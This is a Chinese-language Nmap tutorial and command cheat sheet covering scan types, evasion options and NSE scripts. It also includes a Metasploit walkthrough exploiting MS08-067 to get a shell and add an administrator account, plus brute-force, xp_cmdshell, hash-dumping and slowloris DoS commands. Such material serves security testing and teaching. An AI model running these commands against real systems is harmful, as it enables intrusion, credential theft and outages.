Nmap 官方文档 ( 中文文档是 Nmap 版本4.50,英文文档是最新的 ):
Nmap 速查手册 ( 命令、示例 ) :https://highon.coffee/blog/nmap-cheat-sheet/
铁匠运维网:https://www.tiejiang.org/wlaqgcs/infiltration
注意:nmap 区分大小写。在 nmap 运行时直接按键盘的 d 键打 "断点",按下 X 键可以知道运行的进度。终极必杀:man nmap
Nmap 是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字 Nmap 是 Network Mapper 的简称。Nmap 最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一,号称扫描之王。nmap 除了最主要的端口扫描,还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。
一般情况下 Nmap 可以用来:
script 是 nmap 最强大的功能之一。可以用来检测 SQL 注入,网页爬取,数据库密码检测,快速的探测服务等。在 nmap 安装目录下的 script 目录下,存在 ".nse" 后缀结尾的文本文件,这就是 nmap 的脚本,
// 使用时尽量加上双引号 ( --script="脚本名" 或者 --script "脚本名" ) ,防止脚本名出现空格的情况。
nmap 192.168.0.3 --script="http-*" -v 加载 http-* 脚本, * 是 通配符
nmap all 192.168.0.3 -v 加载所有脚本,也可以 --script=*
下载、安装
在线帮助:https://svn.nmap.org/nmap/docs/nmap.usage.txt
-Pn :禁用主机检测。如果主机屏蔽了 ping 请求,Nmap 认为该主机没有开机,从而不会进一步检测,比如端口扫描、服务版本识别和操作系统识别等探测工作。为了克服这一问题,就 需要禁用Nmap的主机检测功能。在指定这个选项之后,Nmap会认为目标主机已经开机并会 进行全套的检测工作
- nmap --help
-
- Nmap 7.92 (https://nmap.org)
-
- 用法:nmap [扫描类型] [选项] {要扫描的目标}
-
- 扫描的目标:
- 可以是 主机名、IP 地址、网络等。
- 例如:scanme.nmap.org、microsoft.com/24、192.168.0.1; 10.0.0-255.1-254
- -iL <inputfilename>: 从文件中读取要扫描的主机列表
- -iR <num hosts>: 选择随机目标
- --exclude <host1[,host2][,host3],...>:要排除的 主机/网络
- --excludefile <exclude_file>: 从文件中选择要排除的主机列表
-
- 主机发现:
- -sL: 列表扫描 - 打印主机的列表(对域名进行扫描时,可以得到IP列表 )
- -sn: Ping 扫描,同时禁用端口扫描,用来检查主机存活状态。
- -Pn: 禁用 Ping 扫描,默认所有主机都是存活状态
- -PS/PA/PU/PY[portlist]:对指定的端口通过 TCP SYN/ACK、UDP 或 SCTP 扫描来发现主机
- -PE/PP/PM: 对指定的端口通过 ICMP、时间戳和网络掩码请求发现和探测主机
- -PO[协议列表]: IP 协议 Ping
- -n/-R: 不进行DNS解析/ 进行DNS解析 [默认]
- --dns-servers <serv1[,serv2],...>: 指定自定义 DNS 服务器
- --system-dns: 使用操作系统的 DNS 解析器
- --traceroute: 跟踪每个主机的跃点路径
-
- 扫描技术:
- -sS/sT/sA/sW/sM: TCP SYN / Connect() / ACK / Window / Maimon 扫描
- -sU: UDP 扫描
- -sN/sF/sX: TCP Null、FIN 和 Xmas 扫描
- --scanflags <flags>: 自定义 TCP 扫描标志
- -sI <僵尸主机[:probeport]>: 空闲扫描
- -sY/sZ: SCTP INIT/COOKIE-ECHO 扫描
- -sO: IP 协议扫描
- -b <FTP 中继主机>: FTP 反弹扫描
-
- 指定扫描端口、扫描顺序:
- -p <端口范围>:只扫描指定的端口
- 例如:-p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
- --exclude-ports <端口范围>: 从扫描中排除指定端口
- -F: 快速模式。 扫描比默认扫描更少的端口
- -r: 连续扫描端口。不要随机化,即按顺序扫描端口
- --top-ports <number>: 扫描<number>个最常用的端口
- --port-ratio <ratio>: 扫描比<ratio>更常见的端口
-
- 服务/版本检测:
- -sV: 探测开放端口以确定服务/版本信息
- --version-intensity <level>:设置从 0(轻)到 9(尝试所有探针)
- --version-light: 限制最可能的探测(强度 2)
- --version-all: 尝试每一个探测(强度 9)
- --version-trace: 显示详细的版本扫描活动(用于调试)
-
- 脚本扫描:
- -sC: 相当于--script=default
- --script=<Lua scripts>: 使用脚本进行扫描,多个脚本时用逗号分隔,支持通配符。
- --script-args=<n1=v1,[n2=v2,...]>: 为脚本提供参数
- --script-args-file=filename: 从文件中提供 NSE 脚本参数
- --script-trace: 显示所有发送和接收的数据
- --script-updatedb: 更新脚本数据库。
- --script-help=<Lua 脚本>: 显示有关脚本的帮助。
-
- 操作系统检测:
- -O: 启用操作系统检测
- --osscan-limit: 将操作系统检测限制为有希望的目标
- --osscan-guess: 更积极地猜测操作系统
-
- 时间和性能:
- 默认是秒,也可以 “ms”(毫秒),'s'(秒)、'm'(分钟)或 'h'(小时)到值(例如 30m)。
- -T<0-5>: 设置时序模板(越高扫描速度越快,但是准确性降低)
- --min-hostgroup/max-hostgroup <size>: 并行主机扫描组大小
- --min-parallelism/max-parallelism <numrobes>:探针并行化
- --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <时间>: 指定探测往返时间。
- --max-retries <tries>: 限制端口扫描探测重传的次数。
- --host-timeout <time>: 多长时间后放弃目标
- --scan-delay/--max-scan-delay <time>:调整探针之间的延迟
- --min-rate <number>: 每秒发送数据包不低于 <number>
- --max-rate <number>: 每秒发送数据包的速度不超过 <number>
-
- 防火墙/IDS 逃避和欺骗:
- -f; --mtu <val>: 分片数据包(可选地 w/给定的 MTU)
- -D <decoy1,decoy2[,ME],...>:使用诱饵隐藏扫描。即发送参杂着假ip的数据包检测
- -S <IP_Address>: 欺骗源地址。就是伪造源主机IP地址。
- -e <iface>: 指定从哪个网卡发送和接收数据包。
- -g/--source-port <portnum>: 使用给定的端口号。针对防火墙只允许的源端口
- --proxies <url1,[url2],...>: 通过 HTTP/SOCKS4 代理中继连接
- --data <hex string>: 将自定义有效负载附加到发送的数据包
- --data-string <string>: 将自定义 ASCII 字符串附加到发送的数据包中
- --data-length <num>: 将随机数据附加到发送的数据包中。
- 改变发生数据包的默认的长度,防止被识别出来。
- --ip-options <options>: 发送带有指定ip选项的数据包
- --ttl <val>: 设置 IP 生存时间字段
- --spoof-mac <mac地址/前缀/供应商名称>: 欺骗你的MAC地址
- --badsum: 发送带有虚假 TCP/UDP/SCTP 校验和的数据包
-
- 输出:
- -oN/-oX/-oS/-oG <file>: 扫描结果写入到文件。
- 正常,XML,s|<rIpt kIddi3,Grepable 格式,
- -oA <basename>: 一次输出三种主要格式
- -v: 增加详细程度(使用 -vv 或更多以获得更好的效果)
- -d: 增加调试级别(使用 -dd 或更多以获得更好的效果)
- --reason: 显示端口处于特定状态的原因
- --open: 仅显示打开(或可能打开)的端口
- --packet-trace: 显示所有发送和接收的数据包
- --iflist: 打印主机接口和路由(用于调试)
- --append-output: 附加到而不是破坏指定的输出文件
- --resume <文件名>: 恢复中止的扫描
- --noninteractive: 通过键盘禁用运行时交互
- --stylesheet <path/URL>:将 XML 输出转换为 HTML 的 XSL 样式表
- --webxml: 参考 Nmap.Org 的样式表以获得更便携的 XML
- --no-stylesheet: 防止 XSL 样式表与 XML 输出相关联
-
- 杂项:
- -6: 启用 IPv6 扫描
- -A: 也叫全面扫描。操作系统检测、版本检测、脚本扫描和跟踪路由。
- --datadir <dirname>: 指定自定义 Nmap 数据文件位置
- --send-eth/--send-ip:使用原始以太网帧或 IP 数据包发送
- --privileged: 假设用户拥有完全特权
- --unprivileged: 假设用户缺乏原始套接字权限
- -V:打印版本号
- -h:打印此帮助摘要页。
-
- 例子:
- nmap -vv -A scanme.nmap.org
- nmap -vv -sn 192.168.0.0/16 10.0.0.0/8
- nmap -vv -iR 10000 -Pn -p 80
-
- 有关更多选项和示例,请参见手册页 (https://nmap.org/book/man.html)
延时策略 :-T(0-5) 默认为 3
Nmap 端口分成六个状态:
要想入侵一台电脑,必须先找到一台目标主机,获取主机的 IP,然后查出开放的端口,才能进行入侵。 找出网络上的主机,测试哪些端口在监听,这些工作通常是由扫描来实现的。
通过扫描网络,寻找存在漏洞的目标主机。一旦发现了有漏洞的目标,接下来就是对监听端口的扫描。扫描每个 IP 的每个端口很慢,通常也没必要。网管也许只对运行特定服务的主机感兴趣,从事安全的人士则可能对一个 端口 都感兴趣,只要它有IP地址,系统管理员也许仅仅使用 Ping 来定位内网上的主机,外部入侵测试人员则可能绞尽脑汁用各种方法试图突破防火墙的封锁。
扫描方式:
- 类型 选项 目标类型
- -sT TCP扫描 全链接扫描。这种扫描方法准确速度快,但是容易被防火墙和IDS发现并记录,
- 所以这种方法,实际中并不多用
- -sS SYN扫描 半链接扫描
- -sF FIN扫描 秘密扫描 除SYN、ACK其它位置1
- -sX Xmas扫描 秘密扫描 FIN、URG、PUSH位置1
- -sN Null扫描 秘密扫描 标志位全为0,发送TCP分组
- -sP ping扫描 同时使用ICMP和TCP ACK 80,返回RST说明主机运行(外网)
- -sU UDP扫描 发送0字节UDP包,快速扫描Windows的UDP端口
- -sA ACK扫描 TCP ACK扫描,当防火墙开启时,查看防火墙有未过虑某端口
- -sW 滑动窗口扫描
- -b FTP反弹攻击(FTP Bounce attack) 外网用户通过FTP渗透内网
FIN 扫描、Xmas 扫描、Null 扫描 对 Windows 无效
UDP 只有一种扫描方式(-sU)。虽然 UDP 扫描结果没有 TCP 扫描结果的可靠度高,但不能因此而轻视UDP扫描。但是 UDP 扫描的最大问题是性能问题。由干 Linux 内核限制1秒内最多发送一次 ICMP Port Unreachable 信息。按照这个速度,对一台主机的 65536 个 UDP 端口进行完整扫描,总耗时必 定会超过18个小时。
示例,指定扫描 53 端口和 161 端口:nmap -sU 192.168.182.132 -p 53,161
Nmap 的漏洞检测是通过 Nmap 的扩展脚本实现的。Nmap 本身内置有丰富的 NSE 脚本,可以非常方便的利用起来,当然也可以使用定制化的脚本完成个人的需求。NES 脚本是用 lua 编写的。
在某些时候,大部分都是使用 Nmap 进行扫描,然后再通过 Metasploit 进行漏洞利用,但是这个过程比较繁琐,一个个漏洞去验证的话还需要打开 MSF 去设置参数,最后 run/exploit。
脚本列表:NSEDoc Reference Portal: NSE Scripts — Nmap Scripting Engine documentation
查看 nmap 本地 nes 脚本数量:ls /usr/share/nmap/scripts/ | wc -l
nmap script engine 官网:https://nmap.org/book/man-nse.html
-sC: 相当于--script=default
--script=<Lua scripts> 使用脚本进行扫描,多个脚本时用逗号分隔,支持通配符
--script-args=<n1=v1,[n2=v2,...]>: 为脚本提供参数
--script-args-file=filename: 从文件中提供 NSE 脚本参数
--script-trace: 显示所有发送和接收的数据
--script-updatedb: 更新脚本数据库。
--script-help=<Lua 脚本>: 显示有关脚本的帮助。
nmap 脚本分类:
nmap 信息搜集 相关脚本
示例:
nmap --script all 172.27.42.110 //使用所有脚本对 172.27.42.110 主机进行扫描
// whois 通常读作 who is , 用来查询互联网中 域名的IP 和 所有者的信息
nmap --script whois www.0day.co//很多网站启用了who is 保护,可以查询who is 的历史记录,早期的可能没有保护。
nmap --script whois --script-args whois.whodb=nofollow www.0day.conmap -sn --script whois -v -iL host.txt //如果目标域名比较多,可以使用列表形式
nmap --script http-email-harvest www.0day.co //搜集email 信息// ip反查,将所有绑定该 IP 的域名显示出来,可以清楚的知道有几个站点在这台服务器上。
nmap -sn --script hostmap-ip2hosts www.0day.conmap --script dns-brute www.xxxxx.com //dns 信息搜集 ,默认 5线程
nmap --script dns-brute dns-brute.threads=10 www.xxxxx.com //dns 信息搜集,指定线程数是10
nmap --script dns-brute --script-args dns-brute.domain=www.baidu.com // 对 baidu.com 子域名的列举// nmap下提供了很多web漏洞的检测脚本, http-stored-xss.nse 可以发现网站的XSS(跨站脚本攻击)
nmap -p80 --script http-stored-xss.nse www.xxx.com// http-sql-injection 可以发现SQL 注入漏洞。在TOP 漏洞排行里,XSS 与 SQL 一直居高不下。
nmap -sV --script http-sql-injection www.xxx.com
使用实例:
nmap --script=auth IP // 负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
http-php-version // 获得PHP版本信息
Http-enum // 枚举Web站点目录
smtp-strangeport // 判断SMTP是否运行在默认端口
dns-blacklist // 发现IP地址黑名单nmap --script=vuln 192.168.137.* // 扫描常见漏洞
smb-check-vulns // 检测smb漏洞
samba-vuln-cve-2012-1182 // 扫描Samba堆溢出漏洞
扫描 wordpress 应用的脚本
http-wordpress-plugins
http-wordpress-enum
http-wordpress-brute
测试 WAF 是否存在
nmap -p 80,443 --script=http-waf-detect 192.168.0.100
nmap -p 80,443 --script=http-waf-fingerprint www.victom.com
查询是否有 telnet 脚本:ls /usr/share/nmap/scripts/ | grep telnet
查看 telnet 脚本的详细信息:nmap --script-help=telnet-brute
可以看到一个文档信息,该文档为telnet脚本的文档。
使用例子:nmap -p 23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s <target>
可以看到,因为23端口是关闭的,所以该指令并没有起作用。
23 端口为 telnet 的端口。Telnet协议是TCP/IP协议族中的一员,是Internet远程登陆服务的标准协议和主要方式。它为用户提供了在本地计算机上完成远程主机工作的能力。在终端使用者的电脑上使用telnet程序,用它连接到服务器。终端使用者可以在telnet程序中输入命令,这些命令会在服务器上运行,就像直接在服务器的控制台上输入一样。可以在本地就能控制服务器。要开始一个telnet会话,必须输入用户名和密码来登录服务器。Telnet是常用的远程控制Web服务器的方法。
打开 23 telnet 服务。开始->运行->services.msc 。找到 Telnet 服务 ( 默认是禁用的 )->双击->常规->启动类型->改成手动->启动。
再次使用 telnet 脚本进行爆破:
该脚本可以对目标主机或网段扫描是否存在常见的漏。
nmap --script=vuln 192.168.182.132
可以看见结果,扫描出了 ms08-067、ms17-010、ms10-061漏洞。
进入metasploit:msfconsole
查找ms08-067漏洞:search ms08-067
使用脚本: use exploit/windows/smb/ms08_067_netapi
攻击载荷 windows/meterpreter/reverse_tcp
查看攻击所需的配置选项:show options:
设置靶机IP:set RHOSTS 192.168.182.132
查看靶机系统类型:show targets
设置靶机类型:set target 74 // 根据 show targets 的显示,进行选择
攻击:exploit
获取权限:shell
创建用户: net user attacker 123 /add
提权:net localgroup administrators attacker /add
查看用户:net user attacker
入侵:远程连接 mstsc
当对一个目标进行渗透时,如果目标的测试量巨大或是需要和同伴共享数据,那么将渗透报告或是所有操作存储在数据库里来共享,会是一个不错的选择。
MSF 支持 MySQL、PostgreSQL 和 SQLlite3 数据库,默认使用 PostgreSQL 数据库,而且 MSF 会根据扫描/攻击结果,将数据自动上传到数据库,通过简单指令即可查看数据。
msf 中使用 db_nmap 扫描时,会自动保存结果到数据库:db_nmap -sS -A 192.168.88.142
也可以 nmap 导出扫描结果,再导入到 msf,如下:
使用 nmap 扫描并保存结果文件:nmap -sS -Pn -oX result2.xml 192.168.88.14
msf 导入扫描的结果文件:db_import /home/output/result2.xml
关于 msf 连接数据库:
- 方法 1:共享别人扫描好的结果。db_connect postgres:postgres@127.0.0.1/msf
- 方法 2:默认连接到本地 postgresql
查看连接情况:db_status
查看数据库内容( 进入qsql执行查看命令):\l
查看文件:hosts -c address
查看数据库扫描结果内容:services -u
msf 中关于数据的命令:
数据库 后端 命令
analyze 分析指定的 地址、地址段
db_connect 连接到已经存在的数据库服务
db_disconnect 断开当前的数据库服务
db_export 导出到文件
db_import 导入扫描结果文件(文件类型将自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存(已弃用)
db_remove 删除保存的数据服务条目
db_save 保存当前数据服务连接为默认值,以便在启动时重新连接
db_status 显示当前 数据服务 状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有 战利品(肉鸡)
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换
清除 库 里面保存的结果:
先执行删除,在执行 重新初始化
msfdb delete
msfdb reinit
再次进入 msfconsole,执行 hosts 、services,可以看到 数据已经清空
map -A -T4 192.168.0.3 -v
nmap -vv 192.168.96.5 // 显示扫描细节。或者 -v
nmap 192.168.96.1/24 // 对整个网段的主机进行扫描
nmap -p 端口 IP(域名) // 扫描指定端口是否开放
nmap 192.168.182.1-253 // 扫描指定的 ip 列表
nmap -sV -p 88,80,135 192.168.182.132 // 指定端口和指定IP扫描,同时探测操作系统// 随机选择100000台主机扫描是否运行Web服务器(80端口),
// 同时禁用ping扫描,因为只扫描80端口浪费时间
nmap -v -iR 100000 -P0 -p 80nmap -sn 192.168.182.1-255 // 使用 ping 扫描,查看在线的主机
nmap -sV 192.168.182.132 // 扫描端口上的 服务、程序版本
nmap -O 192.168.182.132 // 识别目标主机的操作系统
nmap -Pn 192.168.96.4 // 不进行ping 检测,直接认为所有主机都存活。
nmap -A 192.168.96.4 // 全面扫描,耗时长nmap -sT 192.168.96.4 // TCP连接扫描,不安全,慢
nmap -sS -O scanme.nmap.org/24 // SYN扫描,使用最频繁,安全,快
nmap -sU 192.168.96.4 // UDP扫描,慢,可得到有价值的服务器程序
nmap -sI 僵尸ip 目标ip // 使用僵尸机对目标机发送数据包
nmap -sA 192.168.96.4 // 扫描端口状态(关闭、打开、过滤 等)
nmap 192.168.96.4 -oX myscan.xml // 对扫描结果另存在myscan.xml
nmap -T1~6 192.168.96.4 // 设置扫描速度,一般T4足够。
nmap -sC <scirptfile> 192.168.96.4 // 使用脚本进行扫描,耗时长nmap -6 ipv6地址 // 对ipv6地址的主机进行扫描
nmap -f 192.168.96.4 // 使用小数据包发送,避免被识别出
nmap -mtu <size> 192.168.96.4 // 发送的包大小,最大传输单元必须是8的整数
nmap -D <假ip> 192.168.96.4 // 发送参杂着假ip的数据包检测
nmap --source-port <portnumber> // 针对防火墙只允许的源端口
nmap -data-length: <length> 192.168.96.4 // 改变发送数据包的长度,防止被识别出来。
nmap -n/-r 192.168.96.4 // -n 不进行dns解析,-r 进行dns解析
nmap --system-dns 192.168.96.4 // 扫描指定系统的dns服务器
nmap -traceroute 192.168.96.4 // 追踪每个路由节点。
nmap -PE/PP/PM: // 使用ICMP, timestamp, and netmask 请求包发现主机。
nmap -sP 192.168.96.4 // 主机存活性扫描,arp直连方式。
nmap -iR [number] // 对随机生成number个地址进行扫描
// 扫描4096个IP地址,查找Web服务器(不ping),将结果以Grep和XML格式保存。
nmap -P0 -p80 -oX logs/pb-port80scan.xml -oG logs/pb-port80scan.g// 进行DNS区域传输,以发现company.com中的主机,然后将IP地址提供给 Nmap。
// 命令用于GNU/Linux -- 其它系统进行区域传输时有不同的命令
nmap 216.163.128.20/20 host -l company.com | cut -d -f 4 | nmap -v -iL -
nmap -sS -T4 -p1-65535 -sV 192.168.1.169
nmap -sS -T4 -A 192.168.1.169
nmap -sS -T4 -A -O 192.168.1.169
nmap -iL ips.txt 文件中读取需要扫描的IP列表将扫描的结果输出到屏幕,同时存储一份到output.txt。
nmap -sS -p1-65525 192.168.1.169 -oG output.txt扫描结果输出为 html
nmap -sS -p1-65525 192.168.1.169 --webxml -oX - | xsltproc --output file.html在子网中发现开放 netbios 的IP
nmap -sV -v -p139,445 192.168.1.0/24扫描指定 netbios 的名称
nmap -sU --script nbstat.nse -p 137 target扫描指定的目标,同时检测相关漏洞
nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 169
10 个常用 nmap 命令
1) 获取远程主机的系统类型及开放端口
nmap -sS -Pn -sV -O <target>
nmap -sS -Pn -A -v < target >2) 列出开放了指定端口的主机列表
nmap -sT -p 80 -oG – 192.168.1.* | grep open3) 在网络寻找所有在线主机
nmap -sn 192.168.0.* 或者 nmap -sn 192.168.0.0/244) Ping 指定范围内的 IP 地址
nmap -sn 192.168.1.100-2545) 在某段子网上查找未占用的 IP
nmap -T4 -sn 192.168.2.0/24 && egrep "00:00:00:00:00:00" /proc/net/arp
7) 扫描网络上的恶意接入点 rogue APs.
nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-
timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout
20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/88) 使用诱饵扫描方法来扫描主机端口
sudo nmap -sS 192.168.0.10 -D 192.168.0.2
扫描目标设备/计算机(192.168.0.10)上打开的端口,同时设置一个诱骗地址(192.168.0.2)。
这将显示诱饵ip地址而不是您的IP在目标安全日志。
假地址 必须是活着的,以确保它能起作用。
检查目标安全日志在/var/log/secure9) 列出一个子网的反向 DNS 记录
nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('10) 显示网络上共有多少台 Linux 及 Win 设备?
sudo nmap -F -O 192.168.1.1-255 | grep "Running: " > /tmp/os; echo
"$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat
/tmp/os | grep Windows | wc -l) Window(s) devices"
nmap 脚本使用
auth: 负责处理鉴权证书(绕开鉴权)的脚本
broadcast: 在局域网内探查更多服务开启状况,如dhcp/dns/sqlserver等服务
brute: 提供暴力破解方式,针对常见的应用如http/snmp等
default: 使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力
discovery: 对网络进行更多的信息,如SMB枚举、SNMP查询等
dos: 用于进行拒绝服务攻击
exploit: 利用已知的漏洞入侵系统
external: 利用第三方的数据库或资源,例如进行whois解析
fuzzer: 模糊测试的脚本,发送异常的包到目标机,探测出潜在漏洞
intrusive: 入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽
malware: 探测目标机是否感染了病毒、开启了后门等信息
safe: 此类与intrusive相反,属于安全性脚本
version: 负责增强服务与版本扫描(Version Detection)功能的脚本
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如是否有MS08_067
负责处理鉴权证书(绕开鉴权)的脚本,也可以作为检测部分应用弱口令
nmap --script=auth 192.168.1.*提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解
nmap --script=brute 192.168.1.169默认的脚本扫描,搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击
nmap --script=default 192.168.1.169 或者 nmap -sC 192.168.1.169
检查是否存在常见漏洞
nmap --script=vuln 192.168.1.169
在局域网内探查更多服务开启状况
nmap -n -p445 --script=broadcast 192.168.1.169
利用第三方的数据库或资源,例如进行whois解析
nmap --script external 192.168.1.169
vnc扫描
nmap --script=realvnc-auth-bypass 192.168.1.169
获取vnc信息
nmap --script=vnc-info 192.168.1.169
smb扫描
说明:SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。
nmap --script=smb-brute.nse 192.168.1.169
smb字典破解
nmap --script=smb-brute.nse --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.169
smb已知几个严重漏扫描
nmap --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.1.169
smb查看共享目录
nmap -p 445 --script smb-ls --script-args 'share=c$,path=\test,smbuser=administrator,smbpass=fuckyou' 192.168.1.169
smb查询主机一些敏感信息
nmap -p 445 -n –script=smb-psexec --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
smb查看会话
nmap -p 445 -n --script=smb-enum-sessions --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
smb系统信息
nmap -p 445 -n --script=smb-os-discovery --script-args 'smbuser=administrator,smbpass=fuckyou' 192.168.1.169
猜解mssql用户名和密码
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.1.169
xp_cmdshell 执行命令
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user" 192.168.1.169
dumphash值
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=sa 192.168.1.169
扫描root空口令
nmap -p3306 --script=mysql-empty-password 192.168.1.169
列出所有mysql用户
nmap -p3306 --script=mysql-users --script-args=mysqluser=root 192.168.1.169
支持同一应用的所有脚本扫描
nmap --script=mysql-* 192.168.1.169
oracle sid扫描
nmap --script=oracle-sid-brute -p 1521-1560 192.168.1.5
oracle弱口令破解
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.1.5
其他一些比较好用的脚本
nmap --script=broadcast-netbios-master-browser 192.168.137.4
发现网关 nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4
破解rsync nmap --script informix-brute -p 9088 192.168.137.4 informix
数据库破解 nmap -p 5432 --script pgsql-brute 192.168.137.4
pgsql破解 nmap -sU --script snmp-brute 192.168.137.4
snmp破解 nmap -sV --script=telnet-brute 192.168.137.4
telnet破解 nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/,/path2/}'
jboss autopwn nmap --script=http-methods.nse 192.168.137.4
检查http方法 nmap --script http-slowloris --max-parallelism 400 192.168.137.4
dos攻击,对于处理能力较小的站点还挺好用的 'half-HTTP' connections
nmap --script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4
Nmap 扫描原理与用法:https://blog.csdn.net/aspirationflow/article/details/7694274
Zenmap 是 Nmap 官方提供的图形界面,随 Nmap 的安装包发布。能够运行在不同操作系统平台上(Windows/Linux/Unix/Mac OS等)。Zenmap 旨在为 nmap 提供更加简单的操作方式。简单常用的操作命令可以保存成为 profile,用户扫描时选择 profile 即可;可以方便地比较不同的扫描结果;提供网络拓扑结构(NetworkTopology)的图形显示功能。
功能架构图
Nmap 包含四项基本功能:
而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑),首先需要进行主机发现,随后确定端口状况,然后确定端口上运行具体应用程序与版本信息,然后可以进行操作系统的侦测。而在四项基本功能的基础上,Nmap提供防火墙与IDS(IntrusionDetection System,入侵检测系统)的规避技巧,可以综合应用到四个基本功能的各个阶段;另外Nmap提供强大的NSE(Nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。
直接对 IP地址 或 域名 进行 主机发现过程和端口扫描。该方式执行迅速,可以用于确定端口的开放状况。
命令:nmap www.fi11sm31.com
完整全面的扫描可以使用 -A 参数,该参数对目标主机进行主机发现、端口扫描、应用程序与版本侦测、操作系统侦测及调用默认NSE脚本扫描。
命令:nmap -T4 -A -vv www.fi11sm31.com
主机发现(Host Discovery),即用于发现目标主机是否在线(Alive,处于开启状态)。
主机发现发现的原理与 Ping 命令类似,发送探测包到目标主机,如果收到回复,那么说明目标主机是开启的。Nmap 支持十多种不同的主机探测方式,比如发送 ICMP ECHO/TIMESTAMP/NETMASK 报文、发送 TCP SYN/ACK 包、发送 SCTP INIT/COOKIE-ECHO包,用户可以在不同的条件下灵活选用不同的方式来探测目标机。
主机发现基本原理:(以ICMP echo方式为例)
Nmap 的用户位于源端,IP地址192.168.0.5,向目标主机192.168.0.3发送ICMP Echo Request。如果该请求报文没有被防火墙拦截掉,那么目标机会回复ICMP Echo Reply包回来。以此来确定目标主机是否在线。
默认情况下,Nmap 会发送四种不同类型的数据包来探测目标主机是否在线。
依次发送四个报文探测目标机是否开启。只要收到其中一个包的回复,那就证明目标机开启。使用四种不同类型的数据包可以避免因防火墙或丢包造成的判断错误。
通常主机发现并不单独使用,而只是作为端口扫描、版本侦测、OS侦测先行步骤。而在某些特殊应用(例如确定大型局域网内活动主机的数量),可能会单独专门适用主机发现功能来完成。
不管是作为辅助用法还是专门用途,用户都可以使用Nmap提供的丰富的选项来定制主机发现的探测方式。
-sL: 列表扫描,仅将指定的目标的IP列举出来,不进行主机发现。
-sP: Ping 扫描,只进行主机发现,不进行端口扫描。
-Pn: 将所有指定的主机视作开启的,跳过主机发现的过程。
-PS/PA/PU/PY[portlist]: 使用TCP SYN/ACK 或 SCTP INIT/ECHO 方式进行发现。
-PE/PP/PM: 使用 ICMP echo, timestamp, and netmask 请求包发现主机。
-PO[protocollist]: 使用 IP 协议包探测对方主机是否开启。
-n/-R: -n 表示不进行DNS解析;-R表示总是进行DNS解析。
--dns-servers <serv1[,serv2],...>: 指定 DNS 服务器。
--system-dns: 指定使用系统的DNS服务器
--traceroute: 追踪每个路由节点
其中,比较常用的使用
示例命令:nmap -sP -PE -PS80,135 -PU53 scanme.nmap.org
使用 Wireshark 抓包,我们看到,scanme.nmap.org 的IP地址182.140.147.57发送了四个探测包:ICMPEcho,80和135端口的TCP SYN包,53端口的UDP包(DNS domain)。而收到ICMP Echo的回复与80端口的回复。从而确定了scanme.nmap.org主机正常在线。
探测局域网内活动主机
扫描局域网 192.168.100.1 范围内哪些IP的主机是活动的。
命令:nmap -sP 192.168.100.1/24
在局域网内,Nmap 是通过 ARP 包来询问 IP 地址上的主机是否活动的,如果收到 ARP 回复包,那么说明主机在线。
可以使用 wireshark 抓包,查看 ARP 报文
端口扫描是 Nmap 最基本最核心的功能,用于确定目标主机的 TCP/UDP 端口的开放情况。
默认情况下,Nmap 会扫描 1000 个最有可能开放的 TCP 端口。
Nmap 通过探测将端口划分为6个状态:
Nmap 在端口扫描方面非常强大,提供了十多种探测方式。
TCP SYN scanning。这是Nmap默认的扫描方式,通常被称作半开放扫描(Half-open scanning)。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么判断该端口被屏蔽(Filtered)。因为该方式仅发送SYN包对目标主机的特定端口,但不建立的完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。
TCP connect scanning。TCP connect 方式使用系统网络 API connect 向目标主机的端口发起连接,如果无法连接,说明该端口关闭。该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标机上留下记录信息,不够隐蔽。所以不常用。
TCP ACK scanning。向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况。
